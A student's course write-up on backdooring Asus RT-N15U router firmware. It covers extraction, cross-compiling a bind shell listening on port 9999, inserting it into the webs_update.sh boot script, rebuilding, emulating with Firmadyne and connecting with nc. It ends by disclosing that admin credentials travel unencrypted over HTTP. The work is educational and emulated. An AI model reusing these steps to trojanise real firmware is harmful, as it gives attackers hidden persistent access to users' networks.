This blog post has been created for completing the requirements of the SecurityTube Offensive Internet of Things course.
Student ID: IoTE- 778
For the next firmware analysis task of the Offensive Internet Of Things Exploitation final project, I decided to analyze the Asus RT-N15U firmware version 18.104.22.168.376.3754. The following is the process I used to backdoor, emulate, and analyze this firmware as well as any security issues I could find.
The process that I followed to analyze this firmware was to:
- Download the firmware from the Asus website
- Use the Firmware Mod Kit to extract the firmware
- Perform offline analysis of the unpackaged firmware looking for security vulnerabilities
- Find out what architecture and endianness the firmware binaries were compiled against
- Find out how a backdoor could be integrated
- Compile a backdoor for the correct architecture and endianness using Buildroot
- Integrate the compiled backdoor
- Re-build the firmware using Firmware Mod Kit
- Use the Firmware Analysis Toolkit / Firmadyne to emulate the firmware
- Verify that the implemented backdoor could be accessed
- Perform online vulnerability analysis of the running firmware
Acquiring The Firmware
The firmware that I used for this project was downloaded from Asus’s website here.
Offline Analysis Of The Asus RT-N15U Firmware
Now that the firmware had been acquired, the next step was to extract it and start analyzing it. To extract the Firmware Mod Kit was leveraged as such:
oit@ubuntu:~/tools/firmware-mod-kit$ ./extract-firmware.sh FW_RT_N15U_30043763754.trx
This provided an extracted firmware directory structure that looked like the following:
oit@ubuntu:~/tools/firmware-mod-kit/FW_RT_N15U_30043763754/rootfs$ ls -la total 80 drwxr-xr-x 18 root root 4096 Jul 19 14:47 . drwxrwxr-x 5 oit oit 4096 Jul 19 15:22 .. drwxr-xr-x 2 root root 4096 Jan 10 2015 asus_jffs drwxr-xr-x 2 root root 4096 Jan 10 2015 bin drwxr-xr-x 2 root root 4096 Jan 10 2015 cifs1 drwxr-xr-x 2 root root 4096 Jan 10 2015 cifs2 drwxr-xr-x 2 root root 4096 Jan 10 2015 dev lrwxrwxrwx 1 root root 7 Jul 19 06:42 etc -> tmp/etc lrwxrwxrwx 1 root root 8 Jul 19 06:42 home -> tmp/home drwxr-xr-x 2 root root 4096 Jan 10 2015 jffs drwxr-xr-x 3 root root 4096 Jan 10 2015 lib drwxr-xr-x 2 root root 4096 Jan 10 2015 mmc lrwxrwxrwx 1 root root 7 Jul 19 06:42 mnt -> tmp/mnt lrwxrwxrwx 1 root root 7 Jul 19 06:42 opt -> tmp/opt drwxr-xr-x 2 root root 4096 Jan 10 2015 proc drwxr-xr-x 3 root root 4096 Jul 19 14:47 rom lrwxrwxrwx 1 root root 13 Jul 19 06:42 root -> tmp/home/root drwxr-xr-x 2 root root 4096 Jul 19 14:47 sbin drwxr-xr-x 2 root root 4096 Jan 10 2015 sys drwxr-xr-x 2 root root 4096 Jan 10 2015 sysroot drwxr-xr-x 2 root root 4096 Jan 10 2015 tmp drwxr-xr-x 6 root root 4096 Jan 10 2015 usr lrwxrwxrwx 1 root root 7 Jul 19 06:42 var -> tmp/var drwxr-xr-x 11 root root 12288 Jan 10 2015 www
Through manual code review I did not find any confirmed security issues.
Architecture and Endianness
To determine the architecture and endianness that the firmware uses, I
sudo readelf -a usr/sbin/httpd. This gave:
ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: MIPS R3000 Version: 0x1 Entry point address: 0x403140 Start of program headers: 52 (bytes into file) Start of section headers: 229488 (bytes into file) Flags: 0x50001007, noreorder, pic, cpic, o32, mips32 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 8 Size of section headers: 40 (bytes) Number of section headers: 28 Section header string table index: 27 .. snip ..
From this output we can determine that the architecture is mips32 and that the binary is little endian. Armed with this knowledge a backdoor that will be compatible with this firmware can be built.
Compile A Backdoor For Mips Little Endian Arthitecture
Now that the architecture and endianness was known, a backdoor could be built that is compatible with the RT-N15U firmware. The backdoor that was provided during the course was used once again for this project. This backdoor is reproduced below:
This bindshell binds to port 9999 and waits for a connection.
The next task is compiling the backdoor for a MIPS little endian architecture. We can do this using buildroot. After copying the bindshell into buildroot we statically compile with gcc using:
./mipsel-buildroot-linux-uclibc-gcc bindshell.c -static -o bindshell
And then test the bindshell using qemu for the correct architecture:
sudo chroot . ./qemu-mipsel-static bindshell oit@ubuntu:~/tools/fat$ netstat -antp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN - tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN - tcp6 0 0 :::139 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 :::445 :::* LISTEN - Connection to 127.0.0.1 9999 port [tcp/*] succeeded! [~] Welcome to @OsandaMalith's Bind Shell
So the firmware seems to run properly… Now how to integrate so it starts up when the router boots?
Integrating The Backdoor
Integrating the backdoor turned out to be more difficult than the
previous firmware analysis. This firmware did not have an
directory of scripts. I performed a bunch of trial and error of
integrating the bindshell into various scripts that seemed like they
would be called during the boot process based upon their content but
after re-building the firmware and testing, they didn’t end up
working. What ended up working was looking at the log output of
Firmadyne. In the logs I found:
[ 135.616000] firmadyne: open[PID: 229 (webs_update.sh)]: file:/firmadyne/libnvram.so [ 135.616000] firmadyne: close[PID: 229 (webs_update.sh)]: fd:3 .. snip ..
It seemed that the webs_update.sh script was getting called during
boot. This script was found in
usr/sbin. I placed the bindshell in
usr/sbin directory as well, and I proceeded to update that
webs_update.sh like so:
cat usr/sbin/webs_update.sh #!/bin/sh touch /var/log/output echo "yea buddy!!!!!!!!!!!!" > /var/log/output /usr/sbin/bindshell & wget_timeout=`nvram get apps_wget_timeout` #wget_options="-nv -t 2 -T $wget_timeout --dns-timeout=120" wget_options="-q -t 2 -T $wget_timeout" .. snip ..
Did it work out???
Rebuild, Emulate, and Verify The Backdoored Firmware
To rebuild the modified firmware was just a matter of using the firmware-mod-kit again:
$ ./build-firmware.sh FW_RT_N15U_30043763754 -nopad -min $ mv FW_RT_N15U_30043763754/new-firmware.bin ~/tools/fat/fwfirmware.bin
The firmware was emulated using the Firmware Analysis Toolkit / Firmadyne
oit@ubuntu:~/tools/fat$ ./fat.py Welcome to the Firmware Analysis Toolkit - v0.1 Offensive IoT Exploitation Training - http://offensiveiotexploitation.com By Attify - https://attify.com | @attifyme .. snip .. Setting up the network connection Password for user firmadyne: qemu: terminating on signal 2 from pid 5030 Querying database for architecture... mipsel Running firmware 4: terminating after 120 secs... Inferring network... Interfaces: [('br0', '192.168.1.1')] Done! Running the firmware finally :
Test to see if the bindshell is listening on port 9999:
$ nmap 192.168.1.1 Starting Nmap 6.40 ( http://nmap.org ) at 2017-07-19 15:26 PDT mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.1.1 Host is up (0.11s latency). Not shown: 996 closed ports PORT STATE SERVICE 80/tcp open http 515/tcp open printer 9100/tcp open jetdirect 9999/tcp open abyss
Connect to our bindshell and verify that it works:
$ nc -nv 192.168.1.1 9999 Connection to 192.168.1.1 9999 port [tcp/*] succeeded! [~] Welcome to @OsandaMalith's Bind Shell cat /var/log/output yea buddy!!!!!!!!!!!! uname -a Linux (none) 22.214.171.124 #1 Thu Feb 18 01:44:57 UTC 2016 mips GNU/Linux ls -la drwxr-xr-x 20 1000 1000 4096 Jul 19 2017 . drwxr-xr-x 20 1000 1000 4096 Jul 19 2017 .. drwxr-xr-x 2 1000 1000 4096 Jan 10 2015 asus_jffs drwxr-xr-x 2 1000 1000 4096 Jan 10 2015 bin drwxr-xr-x 2 1000 1000 4096 Jan 10 2015 cifs1 drwxr-xr-x 2 1000 1000 4096 Jan 10 2015 cifs2 drwxrwxrwt 4 admin root 4100 Dec 31 16:02 dev lrwxrwxrwx 1 1000 1000 7 Jul 19 2017 etc -> t .. snip ..
So it turned out the backdoored firmware was indeed running successfully and provided a backdoor on port 9999.
Now that the firmware was running I analyzed the firmware from the UI to determine if any vulnerabilities could be found. There were a few potential candidates for things I felt could lead to security vulnerabilities but most lead to deadends. There was 1 vulnerability however that I did find, confirmed, and reported to Asus. This issue was already a known issue to Asus and said that it has been patched in modern routers as this router has been EOL. The vulnerability is as follows:
Vulnerability: No Encryption Of Administration Requests / Responses
While interacting with this firmware I noticed that the UI was making frequent AJAX requests to the backend webserver. Along with each request was HTTP Basic Authentication credentials. It occurred to me that this was occurring over port 80 with no usage of SSL/TLS. This means that anyone on the network sniffing traffic when an administrator is making configuration changes could intercept the admin credentials. What makes this even more interesting is that the credentials are not just sent during login or subsequent page refreshes, but every few seconds in a polling ajax request. This greatly increases the chances of interception as while an admin is making changes, the credentials would get broadcasted many times. Since HTTP Basic credentials are only Base64 encoded, decoding to reveal the credentials is trivial:
I contacted Asus about this issue just to make sure that it was known before I published anything on it and they responded saying has been reported by others and is a known issue. They stated that the RT-N15U was EOL so a fix was never created for this router but that newer routers, and their firmwares do not have the same issue. They said that they will consider re-opening RT-N15U and provide me a firmware. I’m not sure if that just means making a patched firmware for me and others who ask for it, or if they would make it available on their website. Based on the fact that others have reported this issue in the past, and they have never acted upon it, I believe it is safe to disclose this vulnerability as this was not news to them.